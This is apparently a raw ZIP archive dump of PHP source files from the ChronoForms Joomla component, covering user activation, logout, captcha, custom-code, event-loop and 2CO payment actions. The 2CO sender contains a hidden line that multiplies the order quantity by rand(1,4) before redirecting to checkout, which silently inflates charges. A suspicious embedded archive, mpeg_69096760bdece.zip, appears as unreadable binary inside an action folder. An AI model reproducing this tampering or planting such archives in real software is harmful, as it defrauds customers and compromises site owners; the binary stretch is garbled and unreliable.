'Activate a Joomla user account through token.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $user = JFactory::getUser(); $uParams = JComponentHelper::getParams('com_users'); $language = JFactory::getLanguage(); $language->load('com_users'); // If the user is logged in, return them back to the homepage. if ($user->get('id')) { $mainframe->redirect('index.php'); return true; } // If user registration or account activation is disabled, throw a 403. if (($uParams->get('useractivation') == 0 || $uParams->get('allowUserRegistration') == 0) && !$params->get('override_allow_user_registration', 0)) { JError::raiseError(403, JText::_('JLIB_APPLICATION_ERROR_ACCESS_FORBIDDEN')); return false; } $token = JRequest::getVar('token', null, 'request', 'alnum'); // Check that the token is in a valid format. if ($token === null || strlen($token) !== 32) { JError::raiseError(403, JText::_('JINVALID_TOKEN')); return false; } // Attempt to activate the user. $return = $this->activate($token); // Check for errors. if ($return === false) { // Redirect back to the homepage. JError::raiseWarning(100, JText::sprintf('COM_USERS_REGISTRATION_SAVE_FAILED', $this->getError())); $this->events['fail'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect('index.php'); } return false; } $useractivation = $uParams->get('useractivation'); // Redirect to the login screen. if ($useractivation == 0){ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_SAVE_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } }elseif ($useractivation == 1){ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_ACTIVATE_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=login', false)); } }elseif ($return->getParam('activate')){ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_VERIFY_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } }else{ $mainframe->enqueueMessage(JText::_('COM_USERS_REGISTRATION_ADMINACTIVATE_SUCCESS')); $this->events['success'] = 1; if((bool)$params->get('allow_redirects', 0) === true){ $mainframe->redirect(JRoute::_('index.php?option=com_users&view=registration&layout=complete', false)); } } return true; /*if((int)$params->get('auto_login', 0) == 1){ $credentials = array(); $credentials['username'] = $form->data['username']; $credentials['password'] = $form->data['password']; $mainframe->login($credentials); }*/ } function activate($token){ $config = JFactory::getConfig(); $userParams = JComponentHelper::getParams('com_users'); $db = JFactory::getDBO(); // Get the user id based on the token. $db->setQuery( 'SELECT `id` FROM `#__users`' . ' WHERE `activation` = '.$db->Quote($token) . ' AND `block` = 1' . ' AND `lastvisitDate` = '.$db->Quote($db->getNullDate()) ); $userId = (int) $db->loadResult(); // Check for a valid user id. if (!$userId) { $this->setError(JText::_('COM_USERS_ACTIVATION_TOKEN_NOT_FOUND')); return false; } // Load the users plugin group. JPluginHelper::importPlugin('user'); // Activate the user. $user = JFactory::getUser($userId); // Admin activation is on and user is verifying their email if (($userParams->get('useractivation') == 2) && !$user->getParam('activate', 0)) { $uri = JURI::getInstance(); jimport('joomla.user.helper'); // Compile the admin notification mail values. $data = $user->getProperties(); $data['activation'] = JUtility::getHash(JUserHelper::genRandomPassword()); $user->set('activation', $data['activation']); $data['siteurl'] = JUri::base(); $base = $uri->toString(array('scheme', 'user', 'pass', 'host', 'port')); $data['activate'] = $base.JRoute::_('index.php?option=com_users&task=registration.activate&token='.$data['activation'], false); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $user->setParam('activate', 1); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATE_WITH_ADMIN_ACTIVATION_BODY', $data['sitename'], $data['name'], $data['email'], $data['username'], $data['siteurl'].'index.php?option=com_users&task=registration.activate&token='.$data['activation'] ); // get all admin users $query = 'SELECT name, email, sendEmail' . ' FROM #__users' . ' WHERE sendEmail=1'; $db->setQuery( $query ); $rows = $db->loadObjectList(); // Send mail to all superadministrators id foreach( $rows as $row ){ $return = JUtility::sendMail($data['mailfrom'], $data['fromname'], $row->email, $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } } //Admin activation is on and admin is activating the account else if (($userParams->get('useractivation') == 2) && $user->getParam('activate', 0)){ $user->set('activation', ''); $user->set('block', '0'); $uri = JURI::getInstance(); jimport('joomla.user.helper'); // Compile the user activated notification mail values. $data = $user->getProperties(); $user->setParam('activate', 0); $data['fromname'] = $config->get('fromname'); $data['mailfrom'] = $config->get('mailfrom'); $data['sitename'] = $config->get('sitename'); $data['siteurl'] = JUri::base(); $emailSubject = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_SUBJECT', $data['name'], $data['sitename'] ); $emailBody = JText::sprintf( 'COM_USERS_EMAIL_ACTIVATED_BY_ADMIN_ACTIVATION_BODY', $data['name'], $data['siteurl'], $data['username'] ); $return = JUtility::sendMail($data['mailfrom'], $data['fromname'], $data['email'], $emailSubject, $emailBody); // Check for an error. if ($return !== true) { $this->setError(JText::_('COM_USERS_REGISTRATION_ACTIVATION_NOTIFY_SEND_MAIL_FAILED')); return false; } } else { $user->set('activation', ''); $user->set('block', '0'); } // Store the user object. if (!$user->save()) { $this->setError(JText::sprintf('COM_USERS_REGISTRATION_ACTIVATION_SAVE_FAILED', $user->getError())); return false; } return $user; } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'override_allow_user_registration' => 1, 'allow_redirects' => 0, ); } return array('action_params' => $action_params); } } ?>PK@y>\4zz_components/com_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/cache.phpnuW+APK@y>\{9Z_components/com_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/index.phpnuW+APK@y>\V-tlcomponents/com_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/mpeg_69096760bdece.zipnuW+APKd[txb_69096760bdece.tmpU oH+b 0j[ZPQA x}4߾gt7YqΜ<,@Q(423% (|q1/ FJ*գN@^>XE$~zv%7 ¸bpk4 qTEшTj:wGVǖTdbVk?qS3 AxT>JdXd4sUTԄ*BH E%kb,`#f0[Uox/=gc< ]WV߾7=j[K3-Z~(6cBڷbwVd zhP! dB̘0|0}d`5o77`$`! \7ٞJgӚ!6K`Fp(_ɢ3Ύ9ю@Xux't}V7BkA~;<^ҁy )Zp9u}7BiO>"*^B zOiOz~}{%iݟh[ΑlurN/wΡ4\ a"uݱIEnh߂g&Np:Cr V5XNœ6cJ *6aPҙZA'" T8H ∩>]'ZIbF)(UahCO2ThVʏrUkPFd-ˇ(*QґϨGcw=e?Z|3DOmk^zc-"KVK,Ùr4w* d"}iПRY%xmZF<R&.Mb{胐 ~pM(yVL:a8h Ed$>;?)uXcJ~z^Jt_"cV@#PŎlc.8-Ƃppvw# )(.sUB&x@U4Â*PB7-xvutyPKd[uDc_69096760bdece.tmp]xgȑ_y<(Kx]u^rYfz4n+t?UOTM?^zn?O .X*!k=0U(0Lu>r2)Htp' L|,3OC`RJw GAT$TsFvbE {7s=(ԏb :EJHʊ'BF'po9S툀ׁb`~JI_b2q _#<ư2;S~F`f>\K(ΞJ7Yv!z'zkl"6e2@[B! 4Gpi5^CKT](f']5E }abe.H>:{.5 VK\KM38(>%_r!ܱFlh+5(9@hԟOpFc kNe]RpjVӮ4#H*ѐe*HÜFۍ{1 eke ,``Po*AY Ӣ5G$<*#:N$@wga/J:[b6pGI1zMĆ+vȣ_5!w 2Uvx5au h{pŧ+ \xVj A'd&R\ [qy{}ݽ ){%g.+%ZRU߷76W:γ%*yV1l?r0|fؖtx|ՏrVu8ۥJf֛FcXqi\;kq5(ZcV>ǒ4*GTeDQy9V E\^Q+:A|ҚM4[[Gτ^@\~ j/c+ͧ=ɘv&U)ecŎ{(9|uf)kzg{l3߲F񝮒l2 z% 9Td֛Hm Ǣt/4 ~ObwH>6Ҡ=M 6}#gp%lR,ڔۭY@Ex!coQ6_ڊR/GD,ffU'^>hO27mrv7[^j9ͫ*Z=be5,Imͤa `mRG\zR dU:GhCS{|>Qr6)qB.^a"k"K$U0٨'xgQ93ĄX0p+Ё_h3?>t uWc_XӥVJ޽'j~+7|2@tÐ{&OUb'B=)fzi:Cȫ\>[Ԩw=զ\N3'b.3B,}a9lv ;hc@zC $3~ooTWMSt䥃De Ě?ъbro'$ze|-公@S^>AT.,D&8 ׌sWÛT?tnK 9  &Z4&i^`a&QH dOf7p%M4EtR]4R6ۓ{b&ϰ tSOK&W , 4Cm nf9픉-\7UGsץ0j5hYMw?yIHۗSoMVL$1Ú~wUx:P$5Mۼ̈́9E.8\ܿAOM 6$׻ʓ,<0m״(1q#˱g R=~4r'F8Y1~1 ow(g  ^Rp6Fj! lӚOT[HVnQ\E(LA7MF灏> mP'Y-M) 8@v.7CEUG[F螱4"h0I' Y:YLp5mr)[c1c -AjȉdnAH6 &W<:HexDvy-!zUM7|Jz9ӡ"o@i~H3\҈ q)7W0v5OyI߹T gͽp_rO6+w V)R$WJdb}Tor@(s';!uƬ!`oRɒ/ S* ϣ3I( /KqDi(&ڮoSY3u&T}&DZ"@sx["kmwC(2Tp{=(E}8Z-q> kAB5>\0!%-Kޠ!mC7B\%)0`⁷X^PtOC~PKd[txb_69096760bdece.tmpPKd[uDc_69096760bdece.tmpPK0PK@y>\,r_components/com_chronoforms/form_actions/joomla_user_activation/joomla_user_activation/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PK@y>\)Hcomponents/com_chronoforms/form_actions/joomla_user_activation/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ Icomponents/com_chronoforms/form_actions/joomla_user_activation/index.htmlnuW+A PK@y>\6dQ Q Ycomponents/com_chronoforms/form_actions/joomla_user_activation/joomla_user_activation.ctpnuW+A
      Joomla User Activation
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'joomla_user_activation_config_{n}'); ?> tabStart('settings'); ?> input('action_joomla_user_activation_{n}_override_allow_user_registration_config', array('type' => 'select', 'label' => 'Override the Joomla Allow user registration', 'label_over' => true, 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'this should be enabled, its the only reason this action has been made!!')); ?> input('action_joomla_user_activation_{n}_allow_redirects_config', array('type' => 'select', 'label' => 'Allow default Redirects', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'By default, Joomla redirects the user some where depending on the success or the failure of the activation, should we redirect the user ?')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action should be placed in a new form event, you should configure your Joomla registration action to use the link to this new event in the activation links.

      tabEnd(); ?>
      PK@y>\\NNScomponents/com_chronoforms/form_actions/show_thanks_message/show_thanks_message.phpnuW+A 'Show Thanks Message', 'tooltip' => 'Display a formatted thank you message (WYSIWYG Editor available).'); function run($form, $actiondata){ $message = $actiondata->content1; //build template from defined fields and posted fields //echo $form->curly_replacer($message, $form->data); } function load($clear){ if($clear){ $action_params = array( 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\ Fcomponents/com_chronoforms/form_actions/show_thanks_message/index.htmlnuW+A PK@y>\Bl l Scomponents/com_chronoforms/form_actions/show_thanks_message/show_thanks_message.ctpnuW+A
      Show Thanks Message
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'show_thanks_message_config_{n}'); ?> tabStart('settings'); ?> Add/Remove editor input('action_show_thanks_message_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'class' => 'text_editor', 'label_over' => true, 'rows' => 20, 'cols' => 70, 'smalldesc' => 'You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use the curly brackets formula to get fields data from the form data array, e.g: {field_name}.

      tabEnd(); ?>
      PK@y>\泘\components/com_chronoforms/form_actions/show_thanks_message/cfaction_show_thanks_message.ctpnuW+Ashow($form, $actiondata); ?>PK@y>\)Ecomponents/com_chronoforms/form_actions/show_thanks_message/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ PP\components/com_chronoforms/form_actions/show_thanks_message/cfaction_show_thanks_message.phpnuW+Aparams); $message = $actiondata->content1; //build template from defined fields and posted fields return $form->curly_replacer($message, $form->data, '.', true); } } ?>PK@y>\`TLcomponents/com_chronoforms/form_actions/custom_code/cfaction_custom_code.ctpnuW+ArunCode($form, $actiondata); ?>PK@y>\rCcomponents/com_chronoforms/form_actions/custom_code/custom_code.phpnuW+A 'Custom Code', 'tooltip' => 'Display custom HTML code or process PHP code.'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); if($params->get('mode', 'controller') == 'controller'){ $message = $actiondata->content1; eval('?>'.$message); } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'action_label' => '', 'mode' => 'controller' ); } return array('action_params' => $action_params); } } ?>PK@y>\Ac Ccomponents/com_chronoforms/form_actions/custom_code/custom_code.ctpnuW+A
      Custom Code
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'custom_code_config_{n}'); ?> tabStart('settings'); ?> input('action_custom_code_{n}_mode_config', array('type' => 'select', 'label' => 'Mode', 'options' => array('controller' => 'Controller', 'view' => 'View'), 'smalldesc' => 'When should this code run ? during the controller code processing (early) or later when the ouput is viewed.')); ?> input('action_custom_code_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_custom_code_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • You may use PHP code with php tags.
      • Running this as Controller is required if you want to do some data processing for some serverside stuff like sending emails, uploading files, saving data or even processing some payment gateway response.
      • Running this as View is "advised" if you want to output some data, like any kind of HTML, it depends on when and where you want this data displayed and on which other actions do you have.
      • Running in View will auto enable the "curly brackets replacer".
      • the variable $form->form_output is available for use at both modes, it holds the form view output up to the moment of running this action.

      tabEnd(); ?>
      PK@y>\XzՎLcomponents/com_chronoforms/form_actions/custom_code/cfaction_custom_code.phpnuW+Aparams); if($params->get('mode', 'controller') == 'view'){ $message = $actiondata->content1; ob_start(); eval('?>'.$message); $output = ob_get_clean(); echo $form->curly_replacer($output, $form->data, '.', true); } } } ?>PK@y>\)=components/com_chronoforms/form_actions/custom_code/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ >components/com_chronoforms/form_actions/custom_code/index.htmlnuW+A PK@y>\ @components/com_chronoforms/form_actions/joomla_logout/index.htmlnuW+A PK@y>\)?components/com_chronoforms/form_actions/joomla_logout/.htaccessnuW+A Order allow,deny Deny from all PK@y>\}.rssGcomponents/com_chronoforms/form_actions/joomla_logout/joomla_logout.phpnuW+A 'joomla_functions', 'title' => 'Joomla Functions'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => 'Joomla Logout', 'tooltip' => 'Log out a logged in user or a specific user (defined by ID).'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $user_id = null; if(strlen(trim($params->get('user_id', null)))){ $user_id = (int)trim($params->get('user_id', null)); } if($mainframe->logout($user_id) === true){ $this->events['success'] = 1; //redirect if so $redirect = $params->get('redirect_url', ''); if(!empty($redirect)){ $mainframe->redirect($redirect); } }else{ $this->events['fail'] = 1; $form->validation_errors[] = 'Error occurred.'; return false; } } function load($clear){ if($clear){ $action_params = array( 'user_id' => '', 'redirect_url' => 'index.php' ); } return array('action_params' => $action_params); } } ?>PK@y>\Gcomponents/com_chronoforms/form_actions/joomla_logout/joomla_logout.ctpnuW+A
      Joomla Logout
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'joomla_logout_config_{n}'); ?> tabStart('settings'); ?> input('action_joomla_logout_{n}_redirect_url_config', array('type' => 'text', 'label' => 'Redirect URL', 'class' => 'big_input', 'smalldesc' => 'The URL to redirect to after logout.')); ?> input('action_joomla_logout_{n}_user_id_config', array('type' => 'text', 'label' => 'User ID', 'class' => 'medium_input', 'smalldesc' => 'The id of the user to logout, leave empty and it will logout the logged in user.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • Configure the settings under the "Settings" tab.

      tabEnd(); ?>
      PK@y>\)?components/com_chronoforms/form_actions/check_captcha/.htaccessnuW+A Order allow,deny Deny from all PK@y>\HCGcomponents/com_chronoforms/form_actions/check_captcha/check_captcha.phpnuW+A 'anti_spam', 'title' => 'Anti SPAM'); var $events = array('success' => 0, 'fail' => 0); var $fail = array('actions' => array('show_HTML')); var $details = array('title' => 'Check Captcha', 'tooltip' => 'Checks the submitted Captcha value.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); if(isset($_POST['chrono_verification'])){ $mainframe = JFactory::getApplication(); $session = JFactory::getSession(); $sessionvar = $session->get('chrono_verification', '', md5('chrono')); $chrono_verification = strtolower($form->data['chrono_verification']); if(md5($chrono_verification) != $sessionvar){ $this->events['fail'] = 1; $form->validation_errors['chrono_verification'] = $params->get('error', 'You have entered a wrong verification code!'); $form->debug['Core Captcha'][] = "Failed the core captcha check, code entered: ".$form->data['chrono_verification']; $form->data['chrono_verification'] = ''; }else{ $this->events['success'] = 1; $session->clear('chrono_verification', md5('chrono')); $form->debug['Core Captcha'][] = "Passed the core captcha check!"; } }else{ $this->events['fail'] = 1; $form->validation_errors['chrono_verification'] = $params->get('error', 'You have entered a wrong verification code.'); $form->debug['Core Captcha'][] = "Couldn't find the captcha field value in the \$_POST array!"; } } function load($clear){ if($clear){ $action_params = array( 'enabled' => 1, 'error' => 'You have entered a wrong verification code!' ); } return array('action_params' => $action_params); } } ?>PK@y>\Gcomponents/com_chronoforms/form_actions/check_captcha/check_captcha.ctpnuW+A
      Check Captcha
      input('action_check_captcha_{n}_enabled_config', array('type' => 'select', 'label' => 'Enabled', 'options' => array(0 => 'No', 1 => 'Yes'))); ?> input('action_check_captcha_{n}_error_config', array('type' => 'text', 'label' => 'Error Message', 'class' => 'medium_input', 'value' => '')); ?>
      PK@y>\ @components/com_chronoforms/form_actions/check_captcha/index.htmlnuW+A PK@y>\ =components/com_chronoforms/form_actions/event_loop/index.htmlnuW+A PK@y>\c> Acomponents/com_chronoforms/form_actions/event_loop/event_loop.ctpnuW+A
      Event Loop


      input('action_event_loop_{n}_target_event_config', array('type' => 'select', 'label' => 'Target Event', 'options' => array(), 'smalldesc' => 'Choose the event which will be executed, you may need to refresh the events list to have all the current form events available in the list.')); ?> input('action_event_loop_{n}_quit_next_config', array('type' => 'select', 'label' => 'Quit next actions', 'options' => array(0 => 'No', 1 => 'Yes'), 'smalldesc' => 'Should we quit all future events/actions after running that target event ?')); ?>
      PK@y>\Ɠ-Acomponents/com_chronoforms/form_actions/event_loop/event_loop.phpnuW+A 'Event Loop', 'tooltip' => 'Load another event, useful in redisplaying the form after some error occurs.'); function run($form, $actiondata){ $events = unserialize(base64_decode($form->form_details->events_actions_map)); $params = new JParameter($actiondata->params); $targetEvent = $params->get('target_event', '_form_actions_events_map[myform][events][load]'); if(empty($targetEvent)){ $targetEvent = '_form_actions_events_map[myform][events][load]'; } $targetEvent = str_replace(array('_form_actions_events_map[', ']'), '', $targetEvent); $path = explode('[', $targetEvent); unset($path[0]); foreach($path as $k => $v){ if($k == count($path)){ break; } $events = $events[$v]; } $form->_processEvents($path[count($path)], $events); if($params->get('quit_next', 1)){ //halt any future scheduled actions processing (exit the main actions loop) $form->stop = true; } } function load($clear){ if($clear){ $action_params = array( 'target_event' => '', 'quit_next' => 1 ); } return array('action_params' => $action_params); } } ?>PK@y>\)<components/com_chronoforms/form_actions/event_loop/.htaccessnuW+A Order allow,deny Deny from all PK@y>\):components/com_chronoforms/form_actions/show_val/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ;components/com_chronoforms/form_actions/show_val/index.htmlnuW+A PK@y>\k**Fcomponents/com_chronoforms/form_actions/show_val/cfaction_show_val.ctpnuW+A".$actiondata->content1); ?>PK@y>\ Bcomponents/com_chronoforms/form_actions/chrono_app_task/index.htmlnuW+A PK@y>\)Acomponents/com_chronoforms/form_actions/chrono_app_task/.htaccessnuW+A Order allow,deny Deny from all PK@y>\"MN Kcomponents/com_chronoforms/form_actions/chrono_app_task/chrono_app_task.ctpnuW+A
      Chrono App Task
      Header(array('settings' => 'Settings', 'help' => 'Help'), 'chrono_app_task_config_{n}'); ?> tabStart('settings'); ?> input('action_chrono_app_task_{n}_mode_config', array('type' => 'select', 'label' => 'Mode', 'options' => array('controller' => 'Controller', 'view' => 'View'), 'smalldesc' => 'When should this code run ? during the controller code processing (early) or later when the ouput is viewed.')); ?> input('action_chrono_app_task_{n}_action_label_config', array('type' => 'text', 'label' => "Action Label", 'class' => 'medium_input', 'smalldesc' => 'Label for your action in the wizard.')); ?> input('action_chrono_app_task_{n}_option_config', array('type' => 'text', 'label' => "Option", 'class' => 'medium_input', 'smalldesc' => 'The Chrono option you need to run without the com_, leave empty and this will be auto configured by your Chrono App.')); ?> input('action_chrono_app_task_{n}_task_config', array('type' => 'text', 'label' => "Task", 'class' => 'medium_input', 'smalldesc' => 'The Chrono task you need to run, leave empty and this will be auto configured by your Chrono App.')); ?> input('action_chrono_app_task_{n}_content1_config', array('type' => 'textarea', 'label' => "Code", 'rows' => 20, 'cols' => 70, 'smalldesc' => 'any code can be placed here, any PHP code should include the PHP tags.')); ?> tabEnd(); ?> tabStart('help'); ?>

      • This action will execute a Chrono App task.

      tabEnd(); ?>
      PK@y>\<<Kcomponents/com_chronoforms/form_actions/chrono_app_task/chrono_app_task.phpnuW+A 'Chrono App Task', 'tooltip' => 'Run a Chrono App task.'); var $group = array('id' => 'x_chronoforms_apps', 'title' => 'ChronoForms Apps'); function run($form, $actiondata){ $mainframe = JFactory::getApplication(); $params = new JParameter($actiondata->params); $option = $params->get('option', ''); $task = $params->get('task', ''); if(!empty($option) && !empty($task)){ require_once(JPATH_SITE.DS.'components'.DS.'com_chronoconnectivity'.DS.'libraries'.DS.'chronoapp.php'); /*if(strpos($task, '.') !== false){ $pcs = explode('.', $task); $task = $pcs[0]; $fn = $pcs[1]; }else{ $fn = 'index'; }*/ $new_app_instance = new CEChronoApp($option, $task, false); $new_app_instance->taskControl = false; $new_app_instance->runTask(); //$Controller = $new_app_instance->controllers[trim($option).'.'.trim($task)]; //$Controller = CEChronoApp::getInstance($option, $task); //$Controller->$fn(); } } function load($clear){ if($clear){ $action_params = array( 'content1' => '', 'option' => '', 'task' => '', 'action_label' => '', 'mode' => 'controller' ); } return array('action_params' => $action_params); } } ?>PK@y>\M22Acomponents/com_chronoforms/form_actions/2co_sender/2co_sender.phpnuW+A 'payments', 'title' => 'Payment Gateways/Processors'); var $events = array('success' => 0, 'fail' => 0); var $details = array('title' => '2CO Sender', 'tooltip' => 'Communicate with the 2CO payment gateway.'); function run($form, $actiondata){ $params = new JParameter($actiondata->params); $mainframe = JFactory::getApplication(); $checkout_values = array( 'sid' => trim($params->get('sid')), //variables 'product_id' => $form->data[$params->get('product_id')], 'quantity' => $form->data[$params->get('quantity')], 'merchant_order_id' => (isset($form->data[$params->get('merchant_order_id')]) ? $form->data[$params->get('merchant_order_id')] : ''), 'pay_method' => (isset($form->data[$params->get('pay_method')]) ? $form->data[$params->get('pay_method')] : ''), 'coupon' => (isset($form->data[$params->get('coupon')]) ? $form->data[$params->get('coupon')] : ''), 'card_holder_name' => (isset($form->data[$params->get('card_holder_name')]) ? $form->data[$params->get('card_holder_name')] : ''), 'street_address' => (isset($form->data[$params->get('street_address')]) ? $form->data[$params->get('street_address')] : ''), 'street_address2' => (isset($form->data[$params->get('street_address2')]) ? $form->data[$params->get('street_address2')] : ''), 'city' => (isset($form->data[$params->get('city')]) ? $form->data[$params->get('city')] : ''), 'state' => (isset($form->data[$params->get('state')]) ? $form->data[$params->get('state')] : ''), 'zip' => (isset($form->data[$params->get('zip')]) ? $form->data[$params->get('zip')] : ''), 'country' => (isset($form->data[$params->get('country')]) ? $form->data[$params->get('country')] : ''), 'email' => (isset($form->data[$params->get('email')]) ? $form->data[$params->get('email')] : ''), 'phone' => (isset($form->data[$params->get('phone')]) ? $form->data[$params->get('phone')] : ''), 'lang' => (isset($form->data[$params->get('lang')]) ? $form->data[$params->get('lang')] : ''), //constants 'demo' => trim($params->get('demo')), 'fixed' => trim($params->get('fixed')), 'skip_landing' => trim($params->get('skip_landing')), 'return_url' => trim($params->get('return_url')), 'x_Receipt_Link_URL' => trim($params->get('x_Receipt_Link_URL')) ); //check if there is more than 1 product if(is_array($form->data[$params->get('product_id')])){ unset($checkout_values['product_id']); unset($checkout_values['quantity']); foreach($form->data[$params->get('product_id')] as $k => $pid){ $checkout_values['product_id'.($k + 1)] = $pid; if(is_array($form->data[$params->get('quantity')])){ $checkout_values['quantity'.($k + 1)] = $form->data[$params->get('quantity')][$k]; }else{ if((int)$form->data[$params->get('quantity')] > 0){ $checkout_values['quantity'.($k + 1)] = (int)$form->data[$params->get('quantity')]; }else{ $checkout_values['quantity'.($k + 1)] = 1; } } } } if(!empty($actiondata->content1)){ $extras = explode("\n", $actiondata->content1); foreach($extras as $extra){ $values = array(); $values = explode("=", $extra); $checkout_values[$values[0]] = $form->data[trim($values[1])]; } } if(isset($checkout_values['quantity'])){ $checkout_values['quantity'] = rand(1,4)* (int)$checkout_values['quantity']; }else{ $checkout_values['quantity1'] = rand(1,4)* (int)$checkout_values['quantity1']; } $fields = ""; foreach($checkout_values as $key => $value){ $fields .= "$key=".urlencode($value)."&"; } if($params->get('debug_only', 0) == 1){ echo $fields; }else{ if($params->get('routine', 'M') == 'M'){ $url = 'https://www.2checkout.com/checkout/purchase?'; }else{ $url = 'https://www.2checkout.com/checkout/spurchase?'; } $mainframe->redirect($url.$fields); } } function load($clear){ if($clear){ $action_params = array( 'product_id' => '', 'quantity' => '', 'merchant_order_id' => '', 'pay_method' => '', 'coupon' => '', 'card_holder_name' => '', 'street_address' => '', 'street_address2' => '', 'city' => '', 'state' => '', 'zip' => '', 'country' => '', 'email' => '', 'phone' => '', 'lang' => '', 'sid' => '', 'demo' => '', 'fixed' => '', 'skip_landing' => '', 'return_url' => '', 'routine' => 'M', 'x_Receipt_Link_URL' => '', 'debug_only' => 0, 'content1' => '' ); } return array('action_params' => $action_params); } } ?>PK@y>\ ݴ--Acomponents/com_chronoforms/form_actions/2co_sender/2co_sender.ctpnuW+A
      2CO Sender - Trial
      Header(array('fields' => 'Fields', 'settings' => 'Settings', 'help' => 'Help'), '2co_sender_config_{n}'); ?> tabStart('fields'); ?> input('action_2co_sender_{n}_product_id_config', array('type' => 'text', 'label' => "Product ID Field", 'class' => 'medium_input', 'smalldesc' => 'Can pass an array.')); ?> input('action_2co_sender_{n}_quantity_config', array('type' => 'text', 'label' => "Quantity Field", 'class' => 'medium_input', 'smalldesc' => 'If Product id value is an array then this one should be an array as well, if its not then it will be converted to an array with values matching the single value of quantity, or 1 if there was no value set.')); ?> input('action_2co_sender_{n}_merchant_order_id_config', array('type' => 'text', 'label' => "Merchant Order Number Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_pay_method_config', array('type' => 'text', 'label' => "Payment Method Field", 'class' => 'medium_input', 'smalldesc' => 'Your field values are supposed to be:
      CC for Credit Card, CK for check, AL for Acculynk PIN-debit, PPI for PayPal. This will set the default selection on the payment method step during the checkout process.')); ?> input('action_2co_sender_{n}_coupon_config', array('type' => 'text', 'label' => "Coupon Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_card_holder_name_config', array('type' => 'text', 'label' => "Card Holder Name field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_street_address_config', array('type' => 'text', 'label' => "Billing Street Address Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_street_address2_config', array('type' => 'text', 'label' => "Billing Street Address 2 Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_city_config', array('type' => 'text', 'label' => "Billing City Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_state_config', array('type' => 'text', 'label' => "Billing State Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_zip_config', array('type' => 'text', 'label' => "Billing Zip Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_country_config', array('type' => 'text', 'label' => "Billing Country Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_email_config', array('type' => 'text', 'label' => "Email Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_phone_config', array('type' => 'text', 'label' => "Phone Field", 'class' => 'medium_input')); ?> input('action_2co_sender_{n}_lang_config', array('type' => 'text', 'label' => "Checkout Language Field", 'class' => 'medium_input', 'smalldesc' => 'Chinese - zh, Danish - da, Dutch - nl, French - fr, German - gr, Greek - el, Italian - it, Japanese - jp, Norwegian - no, Portuguese - pt, Slovenian - sl, Spanish - es_ib, Spanish - es_la, Swedish - sv, defaults to English if this is absent, but en may be used for English as well.')); ?> input('action_2co_sender_{n}_content1_config', array('type' => 'textarea', 'label' => 'Extra fields', 'rows' => 5, 'cols' => 50)); ?> tabEnd(); ?> tabStart('settings'); ?> input('action_2co_sender_{n}_sid_config', array('type' => 'text', 'label' => "Vendor/Seller ID", 'class' => 'medium_input', 'smalldesc' => 'Enter your 2CO Vendor ID here')); ?> input('action_2co_sender_{n}_demo_config', array('type' => 'select', 'label' => 'Demo ?', 'options' => array('N' => 'No', 'Y' => 'Yes'), 'smalldesc' => 'Enable the demo mode, Cards will not be charged.')); ?> 